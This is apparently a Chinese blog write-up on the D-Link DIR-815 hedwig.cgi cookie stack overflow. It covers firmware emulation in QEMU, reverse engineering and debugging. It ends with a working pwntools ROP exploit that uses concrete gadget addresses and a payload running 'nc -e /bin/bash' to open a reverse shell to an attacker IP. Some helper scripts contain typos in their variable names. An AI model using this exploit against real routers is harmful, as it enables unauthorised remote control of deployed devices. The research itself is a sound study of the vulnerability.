D-link DIR-815路由器多次溢出漏洞分析
前期准备
下载固件,提取
固件下载
https://rebyte.me/en/d-link/89510/file-592084/#google_vignette
固件提取
binwalk -Me DIR-815A1_FW101SSB03.bin

确定架构

使用qemu-system-mipsel从系统角度进行模拟,就需要一个mips架构的内核镜像和文件系统。可以在如下网站下载:
https://people.debian.org/~aurel32/qemu/

wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta
wget https://people.debian.org/~aurel32/qemu/mipsel/debian_squeeze_mipsel_standard.qcow2
漏洞位置
根据官方poc可以确定,漏洞核心组件是 /htdocs/web/hedwig.cgi
查看一下链接,其实该组件是指向 htdocs/cgibin的符号链接
对cgibin进行分析

查询HTTP_COOKIE字符串可知,只有sess_get_uid函数引用

再次查询可知,hedwigcgi_main函数有调用这个函数

逆向分析
main
函数调用

hedwigcgi_main
~ 判断条件

条件3:读取port内容,见cgibin_parse_request函数解析

对cookie中进行解析
溢出点
/htdocs/cgibin
getenv函数

cgibin_parse_request

函数功能
:从cookie中读取CONTENT_TYPE和CONTENT_LENGTH和REQUEST_URI三项,不过和后面的栈溢出漏洞关系都不大,但是不能没有,需要随便输入一点东西
sess_get_uid
函数功能:
将“=“前后字符串进行分离,如果等号前的字符串为”uid“将等号后字符串拼接并返回,如果不是,将ip返回
函数分析
对sess_get_uid函数进行逆向分析
函数开始将cookie的数值赋值给v3

对cookie中进行遍历,将=和‘;’之间的数值赋值到v4上

如果有uid字符串,说明已经找到uid,将v4字符串的返回
如果没有uid字符串,就将用户ip返回

验证poc编写

debug_port=2345
test=$(python -c "print 'uid='+open(1.txt,'r').read(2000)"))
echo $test
len=$(echo -n $test|wc -c)
sudo chroot . ./qemu-mipsel-static -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_CONKIE=$test -E CONTENT_LENGTH =$len -E REQUEST_URL="/hedwig.cgi" -E REQUEST_METHOD="POST" -E REQUESY_ADDR="127.0.0.1" -g $debug_port /htdocs/web/hedwig.cgi
INPUT="$1"
TEST="$2"
LEN=$(echo -n "$INPUT" | wc -c)PORT="1234"
if ["$LEN"=="0"] ||["$INPUT"=="-h"] ||["$UID"!="0"]
then
echo -e "\nUsage:sudo $0 \n"
exit 1
fi
echo "INPUT" | chroot . ./qemu-mipsel -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_CONKIE=$test -E REQUEST_URL="/hedwig.cgi"-E REQUESY_ADDR="192.168.168.108" -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null
echo 'run ok'
sudo ./pentest_cgi.sh 'uid=1234' 'python2 -c "print'uid=1234&password='+'A'*0x600"'
restart
参考链接
https://www.cnblogs.com/unr4v31/p/16072562.html
配置网卡
以下是宿主机网卡配置
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0

启动qemu机器
编辑qemu启动脚本start.sh:
sudo qemu-system-mipsel \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic \
-net tap \
-nographic \

账号/密码是root/root
qemu机网卡配置
net.sh
ifconfig eth0 192.168.100.2 netmask 255.255.255.0
route add default gw 192.168.100.254

和宿主机是可以相互ping通的
网卡验证
qemu机器ping宿主机

宿主机ping qemu机

将文件用scp传到qemu机上
sudo scp -r rootfs/ root@192.168.100.2:/root

输入密码即可
qemu机文件替换
快速脚本,写好传到宿主机上即可 aux.sh
cp sbin/httpd /
cp -rf htdocs/ /
rm -rf /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi

启动服务
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件
Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}
Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth0 #网卡
Address 192.168.100.2 #qemu的ip地址
Port "4321" #对应web访问端口
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}
在系统/目录底下创建一个名为 conf的配置文件,配置内容如上,用于启动网页服务

启动
./httpd -f conf
http://192.168.100.2:4321/hedwig.cgi

需要提前在宿主机设置一下,这些都是前面代码审计得出的结论,请求需要的项
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
export HTTP_COOKIE="uid=1234"

启动调试
将gdbserver传到qemu机中
需要选择架构的gdbserver
git clone https://github.com/stayliv3/gdb-static-cross.git

./gdbserver 192.168.100.2:8888 /htdocs/web/hedwig.cgi

干了选错架构了一开始,丢了一个大端序的过去,一直找不到符号
git clone https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver
用gdbserver.mipsle开启调试服务
重新启动一下服务
./gdbserver.mipsle 192.168.100.2:8888 /htdocs/web/hedwig.cgi

启动监听
nc -vlp 9999 -s 192.168.204.228
验证poc编写
先用py生成payload然后传过去
p='a'*0x3000
f = open("payload",'wb')
f.write(p)
f.close()
经过前面代码审计可知,要达到溢出,需要从cookie中读取CONTENT_TYPE和CONTENT_LENGTH和REQUEST_URI三项,不过和后面的栈溢出漏洞关系都不大,但是不能没有,需要随便输入一点东西
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"#溢出
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
./gdbserver.mipsle 192.168.100.2:8888 /htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI

漏洞利用exp(rop)
确定用cyclie工具测算偏移量,然后进行rop构造,反弹shell
确定基址
现在就可以了,编写脚本
/htdocs/web/hedwig.cgi & cat /proc/pid/maps
由于关闭地址随机化,真机都是关闭地址随机化的

gadget寻找
ida工具mipsrop直接搜就ok了,研究了一下其中的原理,其实就是传递参数
0x77f79988 <getservent_r+0> addiu s0, s0, 1
0x77f7998c <getservent_r+0> move a0, s0
0x77f79990 <getservent_r+0> move t9, s1
0x77f79994 <getservent_r+0> jalr t9
将s0加1,然后赋值给a0,然后jmp到s1
s0处放system-1,然后运行到完了之后,a0上就是system的地址了


→ 0x77f499cc addiu s5, sp, 16
0x77f499d0 move a1, s3
0x77f499d4 move a2, s1
0x77f499d8 move t9, s0
0x77f499dc move a0, s5
0x77f499e0 jalr t9
将栈$sp+16的地址保存到s5寄存器上,然后再将s5赋值到a0上,也就是第一个参数,就是吧反弹shell的语句赋值上去,再jmp到原本保存在s0上的system

from pwn import *
context.endian = "little"
context.arch = "mips"
base_addr = 0x77f34000
system_addr_1 = 0x53200-1
gadget1 = 0x45988
gadget2 = 0x159cc
cmd2="/bin/sh\x00"
cmd = 'nc -e /bin/bash 192.168.204.228 9999'
padding = 'A' * (973+12+2+16+4)
padding += p32(base_addr + system_addr_1) # s0
padding += p32(base_addr + gadget2) # s1
padding += 'A' * 4 # s2
padding += 'A' * 4 # s3
padding += 'A' * 4 # s4
padding += 'A' * 4 # s5
padding += 'A' * 4 # s6
padding += 'A' * 4 # s7
padding += 'A' * 4 # fp
padding += p32(base_addr + gadget1) # ra
padding += 'B' * 0x10
padding += cmd
p='a'*0x3000
f = open("payload",'wb')
f.write(padding)
f.close()
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"#溢出
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
./gdbserver.mipsle 192.168.100.2:8888 /htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI

成功反弹shell


浙公网安备 33010602011771号